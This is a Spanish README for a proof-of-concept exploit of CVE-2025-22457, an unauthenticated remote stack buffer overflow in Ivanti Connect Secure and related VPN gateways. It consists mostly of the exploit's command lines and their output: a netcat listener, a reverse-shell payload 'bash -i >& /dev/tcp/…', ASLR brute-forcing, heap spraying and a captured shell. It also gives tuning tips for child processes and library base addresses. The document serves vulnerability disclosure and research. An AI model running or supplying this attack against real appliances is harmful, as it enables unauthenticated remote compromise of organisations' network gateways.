
PoC para CVE-2025-22457 - Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways
Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways
Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-22457. Para un análisis técnico completo de la vulnerabilidad y la estrategia de explotación, consulte nuestro análisis de Rapid7 aquí:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
Podemos ejecutar este script contra un objetivo Ivanti Connect Secure vulnerable, versión 22.7r2.4, de la siguiente manera:
Inicie un listener netcat para capturar la shell inversa.
C:\>ncat -lnvkp 8080
Ejecute el exploit y fuerce ASLR por fuerza bruta (Esto será lento).
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
Cuando funcione, obtendrá una shell inversa.
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
Dependiendo del hardware subyacente, la cantidad de CPUs disponibles en el appliance objetivo determinará la cantidad de procesos hijo que generará el binario /home/bin/web. Dado que todas las solicitudes HTTPS entrantes se distribuirán uniformemente entre estos hijos, debemos tener esto en cuenta y realizar el heap spray las veces suficientes para todos los procesos hijo. Necesitamos hacer esto porque cuando desencadenamos la vulnerabilidad, no podemos saber en qué proceso hijo la desencadenaremos. Por lo tanto, necesitamos que el heap spray esté presente en cada proceso hijo.
Por ejemplo, en un appliance vulnerable y con root, ejecute lo siguiente para ver la cantidad de procesos hijo de /home/bin/web:
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
Puede especificar el número esperado de hijos web mediante el argumento --web_children, por ejemplo:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
Si está probando el PoC en un sistema local, es posible que desee evitar el forzado bruto de la dirección base de libdsplibs. En este escenario, puede pasar una dirección base conocida al PoC mediante el argumento --libdsplibs. Por ejemplo, en un appliance vulnerable y con root, ejecute lo siguiente:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
Luego puede pasar la dirección base conocida al PoC de la siguiente manera:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...